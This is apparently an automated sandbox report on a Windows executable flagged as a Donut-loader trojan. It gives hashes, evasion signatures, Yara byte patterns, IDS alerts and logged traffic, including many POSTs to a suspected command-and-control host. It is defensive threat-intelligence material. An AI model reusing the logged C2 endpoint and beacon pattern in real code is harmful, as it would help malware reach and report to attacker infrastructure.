Edit tour

Windows Analysis Report
jhdfer3s_jh3de.exe

Overview

General Information

Sample name:	jhdfer3s_jh3de.exe
Analysis ID:	1596616
MD5:	446fee24759b2800c4ee7851930f07aa
SHA1:	11378467db1872cb74b03738a7dc65abf1cc9459
SHA256:	c12deb8079c75ef4b96f4af778fbb811a5c766f0560d57d63d6772fbe76b6b33
Tags:	exejhdfer3s_jh3deuser-abuse_ch
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

jhdfer3s_jh3de.exe (PID: 7092 cmdline: "C:\Users\user\Desktop\jhdfer3s_jh3de.exe" MD5: 446FEE24759B2800C4EE7851930F07AA)

conhost.exe (PID: 7108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2936750327.0000000001220000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x33908:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x36e3e:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000002.2936607308.000000000102E000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x76ee8:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x7a41e:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T08:35:01.170395+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49731	34.160.111.145	443	TCP
2025-01-22T08:35:01.857533+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49732	172.67.68.240	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: jhdfer3s_jh3de.exe

Virustotal: Detection: 11%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: jhdfer3s_jh3de.exe

Joe Sandbox ML: detected

Source: jhdfer3s_jh3de.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.160.111.145:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.68.240:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: jhdfer3s_jh3de.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: NTCreateprocess.pdb source: jhdfer3s_jh3de.exe
Source:	Binary string: NTCreateprocess.pdbP$$$ source: jhdfer3s_jh3de.exe

Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 34.160.111.145 34.160.111.145
Source: Joe Sandbox View	IP Address: 34.160.111.145 34.160.111.145

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: myexternalip.com
Source: unknown	DNS query: name: api.iplocation.net

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 34.160.111.145:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49732 -> 172.67.68.240:443

Source: global traffic	HTTP traffic detected: GET /raw HTTP/1.1User-Agent: Mozilla/5.0Host: myexternalip.com
Source: global traffic	HTTP traffic detected: GET /?cmd=ip-country&ip=8.46.123.189 HTTP/1.1User-Agent: Mozilla/5.0Host: api.iplocation.net
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 313Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0Host: hongbaow.infoContent-Length: 96Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Code function: 0_2_02A5C280 GetModuleHandleA,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,GetModuleFileNameW,HttpOpenRequestA,HttpSendRequestA,HttpOpenRequestA,HttpSendRequestA,

0_2_02A5C280

Source: global traffic	HTTP traffic detected: GET /raw HTTP/1.1User-Agent: Mozilla/5.0Host: myexternalip.com
Source: global traffic	HTTP traffic detected: GET /?cmd=ip-country&ip=8.46.123.189 HTTP/1.1User-Agent: Mozilla/5.0Host: api.iplocation.net

Source: global traffic	DNS traffic detected: DNS query: myexternalip.com
Source: global traffic	DNS traffic detected: DNS query: api.iplocation.net
Source: global traffic	DNS traffic detected: DNS query: hongbaow.info

Source: unknown

